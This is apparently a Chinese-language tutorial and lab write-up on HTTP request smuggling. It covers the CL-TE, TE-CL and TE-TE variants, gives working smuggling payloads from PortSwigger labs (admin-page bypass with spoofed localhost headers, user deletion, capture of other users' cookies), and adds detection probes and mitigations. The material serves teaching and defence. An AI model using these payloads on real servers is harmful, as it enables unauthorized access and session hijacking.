HTTP请求走私漏洞分析

blackhat的ppt中，对于时间线的描述已经很详细，这里仅使用其列出的时间线，不再重新查找资料

• 2005, "HTTP Request Smuggling" 论文发表
• 2005-2006 一些短的调查与分享, 列在参考3-5
• 2015-2016 DefCon 24上分享了 Hiding Wookiesin HTTP
• 2019 blackhat us 2019分享了 http-desync-attacks-request-smuggling-reborn

由于不同的中间件在HTTP协议解析过程中，对请求头顺序的优先级处理不同， 在混合使用多种请求头时，由解析的差异发起了恶意的http请求并获取了额外的信息或者未授权访问到内部服务， 故称HTTP请求走私。

在HTTP的协议中，有Keep-Alive和Pipelining两个特性。其中Keep-Alive允许Web服务器保持TCP连接，在同一个套接字中，可以进行多次请求与响应。而 Pipelining允许Web服务器以先进先出的方式异步处理请求，从而加快请求速度。

• Content-Length * Content-Length 类型
• Content-Length * Transfer-Encoding 类型
• Transfer-Encoding * Content-Length 类型
• Transfer-Encoding * Transfer-Encoding 类型

另外这里有点类似最近出现的shiro权限绕过，因为Spring和Tomcat对于URL字符处理的不同，导致添加/; 或者其URL编码可以绕过权限，未授权获取信息。

POST / HTTP/1.1
Host: ac021f331e59524480b9834700520027.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 101
Origin: https://ac021f331e59524480b9834700520027.web-security-academy.net
Connection: close
Transfer-Encoding: chunked
Referer: https://ac021f331e59524480b9834700520027.web-security-academy.net/
Cookie: session=UjmkJb9uPlHCQtAAewGPnODIWrwcDj6F
Upgrade-Insecure-Requests: 1

Transfer-Encoding*Content-Length 类型

同前一种类型一样, 均包含Content-Length和Transfer-Encoding两个请求头，不同的是，前端中间件优先处理Transfer-Encoding而后面的服务器则优先处理Content-Length。

对于块传输的内容，正常更新即可，其格式为:

       chunk          = chunk-size [ chunk-extension ] CRLF
                        chunk-data CRLF
       chunk-size     = 1*HEX
       last-chunk     = 1*("0") [ chunk-extension ] CRLF

前端负载以块传输将数据传递到后端， 后端服务器以Content-Length来提取数据。因为其长度为3，所以提取到的内容为81r, 如果Content-Length长度为4的话, 获取的内容为81rn，两种均可成功利用。此时剩下一个请求GET /admin/delete?username=carlos HTTP/1.1 而此请求中的Content-Length会被忽略, 导致删除了carlos用户。

POST / HTTP/1.1
Host: ac861f8b1fe701cf80921e5100a200ae.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-cl-te-via-differential-responses
Cookie: session=kK8Bf7ImhHhKwvhMwBmiAjuY8JKv2JS2
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
Transfer-Encoding: chunked

81
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Via: 127.0.0.1
X-Forwarded-For:127.0.0.1
Content-Length: 100

x=
0

Transfer-Encoding*Transfer-Encoding类型

同第一种漏洞类型类似，区别只是在同一个请求中，使用了两个Transfer-Encoding，不同于Content-Length，未找到关于两个Transfer-Encoding的限制(如有辛苦告知). 所以可以利用混淆来绕过. 如使用Transfer-Encoding: xchunked 或者Transfer-Encoding:[tab]chunked等。在案例中， 其解法如下, 通过添加不同的Transfer-Encoding的格式，混乱前端负载对Transfer-Encoding的判断， 即: 其实质上仍然是前两种类型的漏洞。

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

环 境: https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl 

描 述: 该应用有一个/admin页面，但是由于前面负载的限制，没办法访问到. 试图利用请求走私删除carlos用户

首先提示已经是TE × CL类型, 构造一个走私请求，获取/admin页面，提示只有本地才可以访问

由于存在多个指定本地请求的请求头，但对控制请求的请求头未知，因此需要添加多个header获取

删除对应的用户

2. 利用Content-Length*Transfer-Encoding类型漏洞获取其他人的cookie

环 境:https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests 

描 述: 通过请求走私，获取他人的cookie

前边解释CL-TE类型的时候， 举过一个serarch的例子, 也是本次练习的题之一。既然可以通过search字段回显，那么当然也可以通过插入数据到数据库操作，把其他人的请求作为值插入数据库中。

在回帖的地方，使用请求走私，这里的Content-Length是用来获取其他的请求头部的长度。由于如果过长，在等待中会超时，如果过短，无法完全获取其cookie，在多次测试后发现808是可以的。

在postId为10的评论内容中，可发现受害者的请求包拼接到了comment参数中

配置cookie解题成功

1. Content-Length * Transfer-Encoding检测

对于前端解析来说， 1rnArnXrn中1rnArn满足长度为4， 并将其作为请求体传给后端。而后端优先以Transfer-Encoding请求头解析，1rnArn并不满足chunked结束的条件, 所以会一直等待直到超时为止。

发送如下请求，可以检测该类型的漏洞。

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

2. Transfer-Encoding*Content-Length检测

对于前端解析来说， 0rnrnX中0rnrn满足长度为chunked结束的标志, 并将其作为请求体传给后端。而后端优先以Content-Length请求头解析，0rnrn并不满足长度为6的条件, 所以会一直等待后续的请求直到超时为止。

发送如下请求, 可以检测该类型的漏洞。

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6

0

X

像前边描述，对于有回显的参数或者插入数据库的操作，可以将插入字段作为一个最后的值，加大Content-Length以获取下一次请求用户的请求头等参数

1. 使用HTTP/2协议

2. 尽量前后端使用同一类型的负载或者Web服务器
3. 禁用后端连接的重用